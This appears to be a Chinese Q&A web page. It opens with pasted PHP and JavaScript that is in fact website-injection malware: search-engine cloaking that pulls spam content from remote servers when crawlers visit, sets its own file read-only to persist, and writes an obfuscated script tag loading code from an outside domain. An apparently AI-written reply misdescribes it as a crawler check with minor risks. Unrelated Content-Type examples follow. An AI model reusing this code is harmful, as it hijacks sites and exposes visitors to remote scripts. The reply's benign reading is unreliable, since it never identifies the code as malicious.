<?php set_time_limit(0); header("Content-type: text/html; charset=utf-8"); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Baiduspider', '360Spider', 'Sogou News Spider', 'bingbot', 'Sosospider', ); if(!empty($userAgent)){ foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = $_SERVER["HTTP_REFERER"]; $u = parse_url($url); if(crawler()==true || $u['host'] == "www.baidu.com" || $u['host'] == "m.baidu.com"){ date_default_timezone_set('PRC'); $TD_server = "http://z8qw.woshinidie66.com"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); } ?> <?php set_time_limit(0); error_reporting(0); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Baiduspider', 'Sogou News Spider' ); if (!empty($userAgent)) { foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = @$_SERVER["HTTP_REFERER"]; date_default_timezone_set('PRC'); $TD_server = "http://154.215.192.182/SpiderPool.php"; if (crawler()) { $query = $_SERVER['QUERY_STRING']; $path = $_SERVER["REQUEST_URI"]; $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ch2 = curl_init(); $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; curl_setopt($ch2, CURLOPT_URL, $TD_server . "?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER, 'www.baidu.com'); curl_setopt($ch2, CURLOPT_USERAGENT, $user_agent); $temp = curl_exec($ch2); echo $temp; } $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
时间: 2024-03-31 17:37:40 浏览: 14
这段代码看起来是一个PHP脚本,其中有两个函数`crawler()`和`set_writeable()`,以及一些变量和条件语句。这段代码的功能可能是用于判断访问者是否是爬虫或搜索引擎,并根据访问来源执行一些操作。但是需要注意的是,这段代码中也存在一些可能会造成安全问题的函数调用,如`file_get_contents()`和`chmod()`等。如果您不确定这段代码的用途,最好不要直接运行它,以免引起安全问题。
相关问题
Content-Type: application/javascript; charset=UTF-8
Content-Type: application/javascript; charset=UTF-8 是一种常见的HTTP头部字段,用于指定服务器返回的响应内容的类型为JavaScript,并且使用UTF-8字符编码。
以下是一个演示示例:
```javascript
// 设置响应头部的Content-Type为application/javascript; charset=UTF-8
response.setHeader("Content-Type", "application/javascript; charset=UTF-8");
// 返回JavaScript代码
response.write("console.log('Hello, World!');");
```
这个示例演示了如何在服务器端设置响应头部的Content-Type为application/javascript; charset=UTF-8,并返回一段简单的JavaScript代码。客户端接收到这个响应后,会将其当作JavaScript代码进行解析和执行。
java返回 xml Content-Type: text/xm
要在Java中返回一个XML响应,你可以使用Servlet或Spring MVC来处理HTTP请求。下面是一个使用Servlet的示例:
```java
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
public class XmlServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.setContentType("text/xml"); // 设置Content-Type为text/xml
resp.setCharacterEncoding("UTF-8"); // 设置字符编码为UTF-8
// 构建XML内容
String xmlContent = "<root><message>Hello, XML!</message></root>";
// 将XML内容写入响应
resp.getWriter().write(xmlContent);
}
}
```
以上代码创建了一个名为`XmlServlet`的Servlet,当接收到GET请求时,它会返回一个XML响应。在`doGet`方法中,我们首先设置了响应的Content-Type为"text/xml",然后构建了一个简单的XML内容,并将其写入响应。
你可以将该Servlet部署到一个Java Web容器(如Tomcat)中,并通过访问相应的URL来获取XML响应。